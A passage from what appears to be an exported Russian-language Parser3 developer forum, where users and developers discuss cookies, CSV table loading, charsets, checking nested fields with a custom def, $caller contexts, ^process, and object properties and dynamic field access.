        Copyright:      <hash>\
           Firm: WebGoods Ltd. <string>\
           Years: 2008-2014 <string>\
\
    Goods <Goods>\
        Query: <string>\
        List: <BufHash> #буфферизованный доступ\
           Frame: <hash>  \
               pos_1: <hash>\
                  item_id: <int>\
                  item_name: <string>\
                  item_image_url: <hash>\
                      default: <string>\
                      ext_1:  <string>\
                  item_price: <double>\
\
           CurrentFrameNum: <int> #текущий номер кадра\
           CountFrames:  <int> #всего кадров\
           CountRecords: <int> #всего записей\
           fNext() - следующий \"кадр\" данных\
           fPrev() - предыдущий \"кадр\" данных\
           fsetFrameSize(<int>) - задать размер буфера\
           \
[/code]\
\
P.S.: pfORM посматриваю, но это же ORM, т.е. только про данные, а у меня именно Модель в ее наиболее широком смысле, т.е. Модель приложения в принципе - это и возможные структурированные данные и функции вместе.\
\
То есть это не абстракция над данными, это абстракция над приложением, внутри которого уже можно поселить ORM и RAW-доступ к данным одновременно, по желанию.\
\
Грубя говоря, если притянуть за уши известных терминологий, я пытаюсь изобразить какой-то свой шаблон проектирования самого верхнего уровня абстракции.\
\
И как мне чудится, в рамках которого, я могу более гибко и унифицированно подойти к работе с приложением, гибкому реструктурированию по ходу работы не залазя в хардкод.\
\
В том числе в рамках такого шаблона нет статических методов, их заменяют методы именованного объекта-синглетона (что по сути ближе к прототип ориентированному, но только в этом примере).\
\
А \"точка входа/инициализации\" начинается с того, что некий внутренний менеджер открывает сессию к этому общему интерфейсу и сёрфает по этой объектно/функциональной структуре, работая с Моделью.\
\
Таким образом, а рамках одного runtime, может быть даже несколько различных сессий \"в приложение\", но это не самоцель, самоцель что менеджер может рендерить в разные прикладные UI и взаимодействовать со всей Моделью приложения, опираясь на какие-то вспомогательные Template-семантические подсказки, дающие жесткие или мягкие декларации как то или иное отрисовать.\
\
Т.е. это уже повадки агентно-ориентированного подхода.\
\
По сути, это попытка сделать какой-то сводный конечный интерфейс всего backend'a перед стыковкой его с любыми другими fronend'ами, где концепция подачи отличается тем, что:\
\
a) общая структура представляет собой до определенной степени композицию объектов(микро-моделей) структуру и вложенность которых можно задавать потом декларативно каким-нить xml или json, а то есть перетанцовывать на ходу меняя структуру приложения, практичеки не ползая в код и имея гарантии что это безопасно и интерфейсы согласованы. (В последнее предложение и сам едва-ли верю)\
\
b) агентный подход, при котором работа с общим интерфейсом приложения (которое по сути являет собой API автоматически) идет через менеджер, который является формальным \"браузером\"/клиентом этой глобальной Модели и может транслировать общение с ней через разные UI. В том числе, это реализует и права доступа и всякие роли и т.п. В рамках сессии менеджера можно сохранять, управлять состоянием всего приложения. Что в локализации для веба как раз выглядит как состояние интерфейсов, навигации и прочего.\
\
На деле, же это пока это глина, которой я балуюсь попутно решая две практические задачи: подучить парсер и придумать быстрое свое или взять что-то готовое, чтобы \"запилить\" некоторый веб-проект интернет-витринной направленности."
"80506","[code]\
$_void[]\
\
$cookie:$_void[\
	$.value[value1]\
	$.expires[^eval(1/120)]\
	$.domain[domain.ru]\
	$.path[/]\
	$.httponly(true)\
]\
[/code]\
\
Пишется в браузер. И живёт в нём. Это нормально? Куки могут быть без имени?"
"80507","[code]$t[^table::load[/tmp/import/zzz.csv;$.charset[windows-1251]]][/code]\
Загружается таблица. Всё отлично.\
\
[code]$t[^table::load[nameless;/tmp/import/zzz.csv;$.charset[windows-1251]]][/code]\
А тут получилась таблица в которой нет ни одного столбца и ни одной колонки.\
\
С чем связано не пойму.\
charset уже пробовал менять, удалять, всё 0 эффекта"
"80508","как определяете что нет строк и колонок?\
сохраните ее в файл, там что будет?\
\
ну и первые пару строк из файла с данными приведите"
"80509","Ответ:\
[code]Строк: 242, Столбцов: 0[/code]\
\
Ага, значит столбцов ноль, а строк 242. Это хорошо, но от этого не сильно легче, так как мне надо знать кол-во стобцов, чтоб по ним уже рисовать таблицу."
"80510","http://www.parser.ru/docs/lang/tablecolumns.htm — прочитайте текст и комментарии.\
\
Простого решения для получения количества столбцов в этой ситуации нет."
"80512","[code]$t[^table::load[nameless;/tmp/import/zzz.csv;$.charset[windows-1251]]]\
Строк: ^t.count[], Столбцов:  ^table_count[$t]\
\
@table_count[t][t1]\
$t1[^table::create[$t;$.limit(1)]]\
$t1[^t1.flip[]]\
$result(^t1.count[])\
[/code]\
На мой взгляд это не лучшее решение, но для быстрого результата его достаточно. Жаль что при пустой таблице не сработает."
"80513","Обязательно ли ставить apache или denver? \
OpenServer подойдет? Если да, то в какую папку?"
"80515","Но вот куда ставить, вам придется разобраться самому и спросить у создателей этого продукта, парсер это cgi приложение. Почитайте документацию может там есть ответ на ваш вопрос."
"80516","что-то вроде\
[code]$count(0)\
^for[i](1;255){\
	if(def $table.$i){^count.inc()}{break}\
}[/code]\
может и быстрее будет, когда данных много, код писал ан коленке)"
"80517","возможно лучше заглянуть в ^table.fields.count[]\
НО, это всё равно плохой вариант, т.к. в разных строках таблицы может быть разное количество значений (ячеек).\
\
т.е. чтобы сделать всё правильно надо пробежаться по всем строкам таблицы, в каждой строке посмотреть в ^table.count[cells] и взять максимальное значение. так узнается максимальное количество столбцов."
"80518","Друзья, у меня маленькая новость для тех, кто работает в редакторе Coda.\
Новость маленькая, но она имеет очень большое значение.\
Наконец-то корректно заработала поддержка комментария строки! \
[code]\
# Ура! Это строчка будет интерпретирована как комментарий\
  # Ура! А эта строчка НЕ будет интерпретирована как комментарий (для тех, кто не видит разницу, здесь пробел в начале)\
[/code]\
\
Точно работает на Coda 2.5.1\
Внимание! Требуется поставить обновление плагина с гитхаба: [url=\"https://github.com/ivansergeev/coda2-parser-mode\"]https://github.com/ivansergeev/coda2-parser-mode[/url]\
\
И еще одна очень приятная штука для тех, кто безмерно влюблен в шрифт Monaco и не готов его менять на что-либо. Очень добрый человек сделал поддержку жирного и наклонного начертания!\
См. на гитхабе: [url=\"https://github.com/vjpr/monaco-bold\"]https://github.com/vjpr/monaco-bold[/url]"
"80519","Можно ли в будущих версиях ожидать улучшения для def ?\
\
Возвращаясь к нижним тредам о лаконичной проверки существования переменной/субобъекта/субполя обходные варианты не без изъянов.\
\
хочется без извращений уметь:\
[code]\
^if(def $object.subobject){true}{false}\
\
#а также как проверка на существование метода\
#потому, что толку от <is junction> нет, \
#пока ты не знаешь есть оно вообще или нет\
#не сканировать же каждый раз список методов через reflection\
\
^if(def $obj.sub.junction){true}{false}\
\
[/code]\
Workaround через свой @def + ^try{object} оказывается слабоприменим\
\
во-первых неудобно:\
в один параметр @def[object] не сделать, т.к. при попытке передать в ^def[object.subobject] ругнется как раз на это не_существующее поле,\
а отделять \"хвост\" на ходу...а если это object.sub.sub.sub...   \
и \"несуществование\" где-то посередине это вообще становится какой-то ад.\
да и вообще оно не работает с ^def[obj.sub;sub2] даже если оное существует\
\
т.е. при варианте с \
[code]\
$h[^hash::create[$object]]\
[/code]\
болячка та же, object;field можно только двумя параметрами, что гимморой\
если это многосоставной объект\
\
а во-вторых:\
если это свой-во или junction, то такой def делая ^try{$object} \
исполнить $junction или код в обработке свойства, что может быть совершенной не полезной лишней итерацией, которую не хочется, тем более если там какой-то \"счетчик\" (или в выражениях оно тоже считается за \"пинок\"?)\
\
поэтому проверить \"не дотрагиваясь\" можно только встроенным оператором, либо делать монструзный рекурсивный обход списков полей и методов через reflection, и это на каждый def-\"чих\"\
\
\
[b]в итоге[/b] пока сделал вот такой def, но только при условии $STRICT-VARS(false) в конфиге\
[code]\
@main[]\
\
#теперь можно чекать объект.суб.суб любой вложенности в один приём\
^if(^def[$Object.Sub.Sub.Subfield]){  object is exist }\
\
#а также для удобства не отходя от кассы можно задать и проверяемый тип(класс)\
^if(^def[$Object.Sub.Sub.Subfield;string]){ object is exist and type is equal}\
\
@def[object;type]\
^if((!def $type && $object.CLASS_NAME ne 'void') || (def $type && $object.CLASS_NAME eq $type)){\
   $result(true)\
}{\
   $result(false)\
}\
[/code]\
\
\
P.S.: Не знаю пока таит ли этот обходной код какие-то грабли."
"80520","a) не думаю, что поведение def мы изменим, т.к. \
1. в настоящий момент лично у меня проблем с def не возникало (разве что с пустыми хэшами/таблицами)\
2. это повлечёт за собой несовместимости\
\
b)\
[code]\
@def[object;type]\
^if((!def $type && $object.CLASS_NAME ne 'void') || (def $type && $object.CLASS_NAME eq $type)){\
   $result(true)\
}{\
   $result(false)\
}\
[/code]\
\
=>\
\
[code]\
@def[object;type]\
$result((!def $type && $object.CLASS_NAME ne 'void') || (def $type && $object.CLASS_NAME eq $type))\
[/code]\
\
c)\
в своём @def вы смешали def и is, и я на демаю, что это хорошо.\
кроме того, вы забыли, что встроенный is возвращает true и в случае, если проверяемый объект является потомком проверяемого типа, без этого is ну нафиг не нужен:\
[code]\
@main[]\
$o[^b::create[]]\
^if($o is \"a\"){yes}{no} ^rem{ выведет 'yes' }\
^if(^def[$o;a]){yes}{no} ^rem{ выведет 'no'. это ваш @def }\
\
\
@CLASS\
a\
\
@create[]\
\
\
\
@CLASS\
b\
\
@BASE\
a\
\
@auto[]\
[/code]"
"80521","При этом я уже поймал грабли в попытке рекурсивно обойти поля объектов, суб-объектов, и проверить наличие желаемого поля, и если я наталкиваюсь на конечное поле встроенного класса, напр. string ,то не могу передать гипотетически искомое суб-поле.\
\
т.е.\
^def[$object.subobj]\
\
если $object оказывается string, то \"привет\"\
\
Если честно, адовый ад с этим def...\
\
ну вот КАК просто или хотя бы не просто\
проверять $object.sub1.sub2 - на существование, \
с учетом что sub1 может не сущестововать или sub2 ?"
"80523","Но в\
@def[object]\
я не могу передать ссылку на объект,\
потому что при одной лишь попытке\
^def[$string.sub] - выпадет обращение к нес.полю\
\
а передать голое имя объекта я не могу, по причине\
того, что получить стринг имени данного объекта я тоже не могу\
\
это замкнутый круг\
\
P.S.: На тему несовместимости можно и новый оператор добавить типа insdef\
типа instance defined"
"80524","Может как-то так (не уверен как обойтись тут с $caller, может его надо перебросить ч/з try):\
\
[code]\
@def[objname]\
^try{\
	$result(^process{^$${objname}.CLASS_NAME} ne 'void')\
}{\
	$exception.handled(true)\
	$result(false)\
}\
\
#-- по крайней мере теперь можно запрашивать любую белеберду не пиная её\
\
@main[]\
\
$myobj[\
   ^someClass::create[] \
   $.h[ \
      $.a[Alice]\
      $.b[Bob] \
   ] \
]\
\
$str[Chloe]\
\
^if(^def[str.blah-blah]){ yes }{ no }  \
^if(^def[myobj.h.a]{ yes }{ no }\
\
[/code]"
"80525","чтобы узнать, инициализировано-ли поле у произвольного объекта, вначале надо убедиться, что объект позволяет доступ к своим свойствам (string не имеет свойств, соотв. доступа к ним не может быть по определениюб но я предлагал workaround с try).\
\
при этом reflection-ы не особо помогут, т.к. есть GET_DEFAULT, который может вернуть что-то при обращении чуть-ли не к любому полю (т.е. $obj.field значение вернут, а при ^hash::create[$obj] там field не будет).\
\
т.е. в применении к парсеру ваша задача не может быть решена.\
\
[quote]я не могу передать ссылку на объект,\
потому что при одной лишь попытке\
^def[$string.sub] - выпадет обращение к нес.полю[/quot]\
\
ссылку передать можно (точнее передать объект по ссылке): ^def[$object] но вы не пытаетесь передать ссылку. вы лезете в поле sub объекта object (ещё до вызова вашего метода), не проверив, что это можно дела (у string нельзя)\
\
[quote]я хочу спросить \"инициализирована\" ли вообще такая конечная последовательность, как объект/переменная[/quote]\
\
этот вопрос не имеет смысла для объекта типа string, т.к. полей у него нет."
"80526","Ну меня вроде устраивает вариант, приведеный мной выше, а при учете, что если задан GET_DEFAULT, то это понимается как \"существующее\" поле, а вот тонкости $caller в этом разрезе перестал понимать кажется.\
\
Да, во втором варианте я уже не пытаюсь передать ссылку на объект, т.к. если это окажется что-то из встроенных классов что его не имеет, то ошибка вывалится раньше чем я попаду в @def\
\
поэтому, я пробую пойти через костыль = передачи имени всей последовательсти как string в метод, и уже там пробую через try её потрогать на предмет возможности\
\
но возникается только момент с видимостью, потому что в контексте MAIN оно все работает, а в узких контекстах надо бы $caller добавить"
"80527","Сабж.\
Документация как не рассеивает всех вопросов про $caller.\
\
$self - понятно ссылка на текущий объект\
$caller.self - понятно ссылка на объект вызвавший то место где вы находитесь\
\
1) а что есть просто $caller? при попытке вызвать его показывает результат работы, например, @main...   он вообще в голом виде куда-то применим? Мне кажется, что меня сбило с толку, что в документации написано, что\
$caller = \"контекст вызова\", и в то же время ^process принимает одним из параметров \"контекст вызова\", а на деле в ^process надо передавать одним из параметров $caller.self - это он хранить ссылку на объект/класс, который является контекстом вызова так?\
\
2) и я так понимаю, что каноничнее обращение $caller.self.var"
"80528","Подскажите пожалуйста, как сделать одну страницу в другой кодировке. \
Всем известно что стандартная кодировка в парсере утф-8, эта кодировка распространяется на весь сайт, и я не исключение но у меня возникла потребность сделать 1 страницу сайта в кодировке windows-1251.\
\
В мето теге на этой отдельной странице я указываю: \
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\" />\
при этом кодировка не меняется. Отображаются вопросительные знаки..."
"80530","Т.е. на этой отдельной странице достаточно написать \
$response:charset[windows-1251] \
и все ? :)"
"80532","Выдает ошибку...\
\
[Tue Dec  9 01:40:57 2014] [11553] /page2/: /localhost/page2/auto.p(4:11): 'WINDOWS-1251' unknown charset [parser.runtime] [uri=/page2/, method=GET, cl=0]\
\
В самом верху прописал $response:charset[windows-1251]"
"80534","В документации вполне корректная формулировка:\
\
[quote]считать - $caller.считать, или записать - $caller.записать[значение] переменную, как будто вы находитесь в том месте, откуда вызвали описываемый метод или оператор.[/quote]\
\
Код $caller.name[value] в методе полностью эквивалентен коду $name[value], написанному в месте вызова метода. То есть так можно например работать с локальными переменными вызывающего, например чтобы написать свой foreach."
"80537","Сабж.\
\
[code]\
@main[][loc_var]\
$loc_var[Foo]\
$glob_var[Bar]\
\
^def[loc_var]    ^rem{ <- выведет void}\
^def[glob_var]   ^rem{ <- выведет string} \
\
# то есть как бы ^process не отрабатывается в \"вызывающем контексте\" \
# или в чем на самом дело?\
\
@def[objname]\
^process[$caller.self]{^$${objname}.CLASS_NAME} \
\
# ^process[$MAIN:CLASS]{^$${objname}.CLASS_NAME} = 0 эффекта \
# ^process{^$caller.${objname}.CLASS_NAME} = 0 эффекта\
\
\
[/code]"
"80538","Этот пример ниже вообще удручает:\
\
[code]\
@main[][loc_var]\
$loc_var[Alice]\
$glob_var[Bob]\
$glob_obj[^AClass::create[]]\
\
0=$loc_var.CLASS_NAME         ^def[loc_var]          ^rem{ #Результат: 0=string 1=string 2=void   3=void   4=void   5=void      }\
0=$glob_var.CLASS_NAME        ^def[glob_var]         ^rem{ #Результат: 0=string 1=string 2=string 3=string 4=string 5=string    }\
0=$glob_obj.CLASS_NAME        ^def[glob_obj]         ^rem{ #Результат: 0=AClass 1=void   2=void   3=void   4=AClass 5=AClass    }\
0=$glob_obj.Field.CLASS_NAME  ^def[glob_obj.Field]   ^rem{ #Результат: 0=string 1=void   2=void   3=void   4=string 5=string    }\
0=$glob_obj.Proper.CLASS_NAME ^def[glob_obj.Proper]  ^rem{ #Результат: 0=string 1=void   2=void   3=void   4=string 5=string    }\
\
#----\
\
@def[objn]\
1=$caller.[$objn].CLASS_NAME \
2=$MAIN:[$objn].CLASS_NAME \
3=$[$objn].CLASS_NAME \
4=^process{^$${objn}.CLASS_NAME} \
5=^process[$caller.self]{^$${objn}.CLASS_NAME}   ^rem{ <-- почему для $loc_var.CLASS_NAME тут не работает? } \
\
\
@CLASS\
AClass\
\
@create[]\
$Field[Chloe]\
\
@GET_Proper[]\
$result[Propvalue]\
[/code]\
\
\
Как обойти и унифицированно правильно получить CLASS_NAME как у объекта \"контекста вызова\",\
так и у переменной контекста вызова\
зная в качестве параметра имя этого объекта/переменной\
т.е. в моем примере я хочу, чтобы\
\
[code]\
$loc_var.CLASS_NAME = ^def[loc_var]\
$glob_var.CLASS_NAME = ^def[glob_var]\
$glob_obj.CLASS_NAME = ^def[glob_obj]\
$glob_obj.Field.CLASS_NAME = ^def[glob_obj]\
$glob_obj.Proper.CLASS_NAME = ^def[glob_obj]\
\
$blah_var.CLASS_NAME = ^def[blah_var]\
\
# одинаково выдавали\
string = string\
srring = string\
AClass = AClass\
string = string\
string = string\
\
void = void\
\
т.е. просто - то же самое но из def'a\
[/code]"
"80539","self -- указывает на объект/класс. в вашем случае он указывает на $MAIN.\
вы обращаетесь к переменной класса MAIN (это обычно называют глобальной переменной).\
в вашем случае loc_var -- локальная переменная метода класса, а не переменная класса, поэтому там void.\
\
для решения вашей задачи нужно использовать $caller (а не с $caller.self), как увам уже подсказывал Костя.\
\
[code]\
@def[objname]\
^process{^$caller.${objname}.CLASS_NAME}\
[/code]\
\
$caller.self вам понадобился бы, если бы:\
- вы пытались бы скомпилировать метод и добавить его в определённый класс\
- если бы вы вызывали метод, который одновременно относится к нескольким классам и его поведение зависит от того, в контексте какого класса он вызван."
"80540","Что $Object.Property.CLASS_NAME\
что def $Object.Property\
\"пинает\" процедуру свойства, а лучше бы не пинал, по крайней мере def\
\
разве, что через ^reflection:methods"
"80541","^def[loc_var]\
^def[glob_var]\
\
как код должен понимать, что в одном случае вы хотите локальную переменную _метода_, а в другом -- поле _объекта/класса_?\
\
ведь никто не запрещает вам иметь и поле класса и локальную переменную метода с одним именем.\
\
но в большинстве случаев должен подойти вариант с $caller.$objname в process. в этом случае сначала будет проверяться наличие переменной в локальных переменных метода, и если не найдено (и \"не locals\") -- то в полях класса/объекта."
"80543","Это, конечно работает только для тех случаев, когда свойство предназначено для чтения. Для свойств только для записи нужно проверять SET_Property. Это не сработает для GET_DEFAULT по понятным причинам.\
\
Offtopic: ваши вопросы наводят на мысль, что вы пытаетесь наворотить кучу метапрограммирования вместо того, чтобы просто программировать на языке. Это уже многократно пытались делать в других языках, но результат получается плачевный."
"80544","Т.е. для функций вида ^func[var;...]{code}. Самые распространенные случаи, когда это нужно — итераторы и обертки над ресурсами (примерный аналог оператора with в Питоне). \
\
В документации приводится пример метода-итератор steppedfor:\
[code]@steppedfor[name;from;to;step;code]\
$caller.$name($from)\
^while($caller.$name<=$to){\
   $code\
   ^caller.$name.inc($step)\
}\
[/code]\
\
В данном случае мы делаем так, чтобы код, который записан в контексте вызывающего метода получил доступ к переменной-счетчику, которую мы итерируем в steppedfor. Для этого мы записываем значение счетчика в контекст вызывающей функции через caller.\
\
Вариант замыканий для работы с ресурсами:\
[code]\
@tempFile[aPath;aVarName;aCode][lTempFileName]\
## Формирует на время выполнения кода aCode уникальное имя для временного\
## файла в папке aPath. После работы кода удаляет временный файл, если он создан.\
  ^pfAssert:isTrue(def $aVarName)[Не задано имя переменной для названия временного файла.]\
  ^try{\
    $lTempFileName[^aPath.trim[end;/\\]/${status:pid}_^math:uid64[].tmp]\
    $caller.[$aVarName][$lTempFileName]\
    $result[$aCode]\
  }{}{\
     ^if(-f $lTempFileName){\
       ^file:delete[$lTempFileName]\
     }\
  }\
[/code]\
\
http://code.volchkov.net/parser3-pf/src/9978cc47944d17d69c19652c6ae5d02816b56926/io/pfOS.p?at=pf\
\
В этом примере мы в переменную вызывающего метода кладаем имя временного файла, которое нужно коду для работы.\
\
Фактически caller — это вспомогательный механизм для того, чтобы получить доступ к контексту кода, который мы определили в вызывающем методе, но передали в нашу функцию.\
\
Тонкий момент: и код (junction-code) и его контекст «живут» только до того момента, пока работает функция в которой этот код написан. Попытка сохранить код во внешнюю переменную и выполнить его позже приведет к ошибке."
"80545","Сколько еще есть чудных и интересных вещей, о которых знают только те кто ближе к разработке самого Parser3? \
\
Может посвятить этому отдельный раздел (я помню был тред про \"нестандартные решения в парсер\"). Хорошо бы объеденить все сниппеты, по крайней мере я себе бережно сохраняю.\
\
Насчет метапрограммирования - скорее нет, чем да, хотя любой кто делает движок/framework, чаще всего так или иначе прибегает к метапрограммированию, \
а тут или готовое, или свое.\
\
Да и pf-framework, пожалуй, понавороченее будет, а у меня в целом ничего сверхестественного.\
\
Признаться честно, в pf вникать сложно, т.к. комментарии по коду не дают общего представления, как это всё вертится, заводится, где \"точка входа\" и в таком духе.\
\
Но урывками, читая код - весьма интересно: про общий pfClass, про свои типы-врапперы, про роутинг, но далеко не всё понятно, а точнее общую картинку собрать не просто, читая код без туториала (эх мечты, мечты)\
\
В том числе, в pf'е вообще есть добавление свойств методами framework'a и реализация как бы переменных rw и read-only. Это как раз пример метапрограммирования, которым я даже не заморачивался (хотя в планах общего интерфейса было).\
\
Все на чем я пока топтался, это:\
1) сделать унифицированный def, и поэтому, как минимум, 3-4 треда вокруг этого подняли кучу нативных проблем, цепляющих не один вопрос. Поэтому этот def захватил и \"получение имени переменной\" и попытку обращения к полям и так далее, все это из-за него \"любимого\"...\
\
2) а второе, сделать на подобии pfClass, но попроще и под свои нужды, базовый класс с плюшками, который, будет давать удобный общий интерфейс. Но с этим как раз проблем никаких не возникало пока."
"80546","Вообще, пока немного в ступоре, чем собственно моя попытка с\
^def[loc_var] и ^def[glob_var] отличается от написанного в документации.\
\
http://www.parser.ru/docs/lang/?definemethod.htm \
[quote]\
Например вам нужен оператор, похожий на системный for, но чем-то отличающийся от него. Вы можете написать его сами, воспользовавшись [b]возможностью менять локальную переменную[/b] с именем, переданным вам, [b]в контексте вызова вашего оператора[/b].\
[/quote]\
\
и чем моя локальная переменная в данном случае \"хуже\", и чем мой пример не попытка менять локальную переменную в контексте вызова"
"80550","[quot] чем мой пример не попытка менять локальную переменную в контексте вызова[/quot]\
\
переменная в контексте вызывающего метода ($caller.имя) != переменная в контексте вызывающего объекта/класса ($caller.self.имя)"
"80551","в документации описаны свойства.\
указано, что @GET_имя[] -- геттер -- метод, который вызывается при попытке обратиться к $имя. но он при этом остаётся методом и его можно вызывать напрямую, если приспичит."
"80553","Сабж.\
\
Т.е.\
[code]\
@CLASS\
MyClass\
\
@create[]\
$_A[Initialized]\
\
@GET_A[]\
$result[$self._A]\
\
@SET_A[value]\
$self._A[$value]\
$result[setted]  ^rem{ $result ничего не выведет}\
\
[/code]\
\
\
Это как бы ожидаемо с одной стороны, но не описано вроде с другой...\
Читал тут: http://www.parser.ru/docs/lang/props.htm\
\
[i]Может я глядя в книгу, вижу фигу?...[/i]"
"80554","Во всех остальных случаях значение, возвращаемое «методом присваивания», девать некуда. Поэтому Парсер его игнорирует.\
\
Сомневаюсь, что все это надо писать в документации."
"80555","Сабж.\
Пример, что хочу:\
[code]\
@main[]\
\
$Obj[^MyClass::create[]]\
\
$Obj.A          ^rem{ --> Alice }\
^addField[B;Bob]\
$Obj.B          ^rem{ --> Bob  }\
\
@CLASS\
MyClass\
\
@create[]\
#инициализированные поля\
$A[Alice]\
\
@addField[name;value]\
^process{\
   ^$self.$name^[$value^]\
}\
# или надо ^process[$self]{...\
\
[/code]"
"80558","Если внутри, то в любом методе пишем $name[value] или $self.name[value], если установлена опция locals."
"80559","Я так понимаю, вместо $self.name надо\
$self.[$name][$value]\
или \
$self.${name}[$value] \
как лучше? И сработает-ли?"
"80560","Это для случаев, когда имя поля в переменной."
"80562","[code]\
@main[]\
$obj[^MyClass::create[]]\
^obj.getHash[A.Name]   \
\
#---\
\
@CLASS\
MyClass\
\
@create[]\
$g[\
   $.A[\
        $.Name[Alice]\
        $.Login[alice_10]\
   ]\
]\
\
@getHash[call]\
#...\
$result[\
  $self.g.[$call]           ^rem{не работает}\
  $self.[g.${call}]         ^rem{не работает}\
  $self.g.$call             ^rem{не работает (ожидаемо)}\
  $self.[g].[$call]         ^rem{не работает}\
  $[self.g.${call}]         ^rem{не работает}\
  ${self.g.$call}           ^rem{не работает (ожидаемо)}\
  ${[self.g.${call}]}       ^rem{не работает, более дикие варианты не придумал}\
  ^process{^$self.g.$call}  ^rem{работает и как всегда спасает, но уродует}\
]\
\
[/code]"
"80563","Фигурные скобки нужны для того, чтобы отделить переменную от окружающего текста. Это нужно, чтобы сразу после переменной поставить точку, подчеркивание или любой другой символ, который может быть именем переменной. Таких символов и ситуаций много.\
\
Квадратные скобки нужны в том случае, если в имени переменной содержатся символы точки или двоеточия, которые в Парсере отделяют уровни иерархии объектов. Еще это удобный синтаксис, если нужно получить доступ к переменной, имя которой есть в другой переменной. Примеры: $form:[auth.name], $obj.[$name][$value], $self.[name with space][value], ^obj.[$method_name][argument].\
\
Если в переменной лежит не идентификатор, а «путь в иерархии», то тут либо использовать process, либо разбирать строку в переменной и обходить иерархию в поиске нужного объекта. Процесс будет быстрее, а парсинг медленне, но значительно безопаснее. Но оба метода лучше использовать только при отладке. В продакшн-коде оба подхода негативно скажутся на производительности."
"80566","Можно воспользоваться [code]^json:string[][/code] с последующим сохранением строки на диск."
"80570","Почему-бы не уживаться двум вариантам тем более столько вариаций неоднозначных есть:\
умозрительный пример\
типа [$$name], $[$name] $[${name}] - найти место случаю под интерполяцию точек как пути - наверное можно... \
хотя ожидаемо, что не станут"
"80573","ну... может и беда.\
только во мне, например, за всё время использования parser3 (фактически с самого его рождения), не требовалось этого ни разу :)\
\
ваши умозрительные примеры \"интерполяции\" точек мне не нравятся категорически, т.к. точка -- это просто символ. она ничем не лучше и не хуже других символов, которые могут быть в имени переменной.\
например у меня точки присутствуют в именах переменных/полей. и \"интерполяция точек\" поломает существующий код."
"80574","мне кажется, что почти для любого языка можно придумать синтетическую задачу, сложну именно для него.\
это не означает, что язык плох. скорее всего это означает, что задача не в го идеологии."
"80575","Вы придумываете абсолютно синтетические, умозрительные примеры. Мы неоднократно просили вас привести пример реального кода, который решает конкретную задачу и где эти ваши выверты дают какую-либо выгоду. Пока этого не будет, дальнейший разговор про «синтаксические выверты» смысла не имеет."
"80576","Если у вас возникла такая потребность, значит вы выбрали неправильный путь решения задачи."
"80577","Не вижу ничего сверхестественного и особо синтетического в хеше с данными.\
Т.к. примеров сколь угодно много.\
Начиня от иерархичекого реестра с данными, заканчивая какой-либо динамически наполняемой и читаемой структурой сайта...\
\
Тот же DOM и XDoc, XPath имеют специальные инструменты по гулянию по иерархии, но он тяжел и его применение ясно. Опять же json везде где ни приколочено и совершенно естественно где-то иметь динамические ветки.\
\
Что нового и особенного в том, чтобы по динамически наполняемым структурам - динамически ходить? Ведь и те и другие в конечном счете выгоднее преообразовывать в hash, но чтобы потом сидеть и вручную прыгать через каждую точку в иерархии?...\
\
Я понимаю, что с ^process все решается. Но об этом вопрос и был. Дескать все достаточно обиходно."
"80578","... поэтому можете написать в коде выражение с точным путем: $data.node.subnode.onemorenode. Это тот самый xpath, только на Парсере.\
\
Если структура данных неизвестна (что само по себе странно), то в любом случае надо делать рекурсивный обход данных. Для этого отлично подходят функции. Рекурсию Парсер делать умеет. Никакой process здесь не нужен в принципе.\
\
Все, что вы описываете, прекрасно делается стандартными методами языков программирования, которые были придуманы лет сорок назад и отлично работают до сих пор. В этих языках никакой интроспекции и эвалов не было. :)\
\
Интересный момент. Парсер поддерживает работу с xpath для xml и его удобно использовать при первых попытках разобрать xml. А потом начинаешь понимать, что домом пользоваться не сильно сложнее, но гораздо быстрее.\
\
Так что давайте все-таки разговаривать о примерах из реальной жизни. Мол вот такая ситуация, на входе такие данные, на выходе надо получить то-то и то-то. Делаю так-то. Затык тут и тут."
"80579","...я в \"тайне\" метапрограммирую :)\
\
Это конечно звучит, как заявление члена клуба анонимных метапрограммистов, мол \"Здравствуйте, я Андрей, и я метапрограммист\"...\
\
Просто я заранее знаю, какую оценку и реакцию вызовет это и я тупо не получу ответ на вполне локальный вопрос, поэтому запостить реальную задачу не могу, т.к. сам framework и есть реальная задача.\
\
Но и оторваться уже не могу, удерживает пока ряд новых возможностей.\
\
Тем более, что любой framework и можно смело назвать метапрограммированием.\
\
Прощу лишь посильной помощи и терпимости к локальным вопросах о вывертах, обещаю показать чем закончилась история."
"80580","Фреймворк — это всего лишь структура программы. Т.е. фактически это некий набор соглашений о наименованиях и интерфейсах модулей, объектов и функций. Для реализации достаточно обычных средств любого языка.\
\
На более чем 10 тысяч строк PF'а есть всего четыре места, где используется ^process и десяток вызовов reflection. \
\
Process используется там, где надо скомпилировать код, который загружен из внешнего источника (модули, шаблонизатор), при автоматическом добавлении свойств и создания декораторов в pfClass. \
\
Из reflection используется метод create для создания объектов классов, загруженных из файликов с кодом (модули, шаблонизатор) и еще в нескольких методах pfClass (foreach, contains, decorateMethod), которые можно отнести к простейшему метапрограммированию.\
\
Для построения фреймворков и библиотек большего не требуется. Все остальное делается базовыми средствами языка, которых у Парсера более чем достаточно. :)\
\
p.s. Давайте вы в следующий раз все-таки будете приводить описание задачи и пример кода, который вы уже написали для её решения. В этом случае получится предметный разговор."
"80581","Ну process и у меня только в двух местах - загрузка и компиляция подгружаемых методов (реализована полная ленивая загрузка).\
\
И вот, в месте работы с адресацией иерархии в хеше.\
Более я нигде не генерирую код, тем более какой-то аспектно-значимый.\
\
Если понимать под метапрограммированием именно генерацию кода языка, кодом языка - то тогда и я не метапрограммирую. \
\
А если понимать, что каждый фреймворк это так или иначе авторская абстрактная модель и его видение - подача мета-объектной структуры приложения, то тут я с головой по полной.\
\
Пока просто слишком сырые наброски но я выложу на порку это, т.к. это just4fun и я не держусь сильно за это.\
\
Просто чтобы выложить там придется приложить экрана 2-3 описания.\
\
Технически же я теперь даже интроспекцию не использую - т.е. я обошелся практически на 95% процедурным программированием в рамках одного класса (пока). И это не выглядит жутко (пока)."
"80583","Сабж.\
Вопрос отдельный и насущный, \
не имеет отношение к моим мытарствам-экспериментам.\
\
Суть вопроса каменте внутри кода в @fLogin[]\
\
[code]\
@main[]\
\
$Session[^SiteModel::create[]]\
\
^Session.Auth.fLogin[by_sid]\
\
^Session.Navigator.fRender[\
   $.interface[HTTP]\
   $.template_name[Main]\
   $.template_degradation[auto] \
   $.router[Main]\
]\
\
#---\
\
@CLASS\
SiteModel\
\
@create[]\
\
$Data[\
  $.UserStatus[]\
  $.OtherCommonVars[]\
]\
\
$Auth[^Auth::create[$cookie:sid]]\
$Billing[^Billing::create[]]\
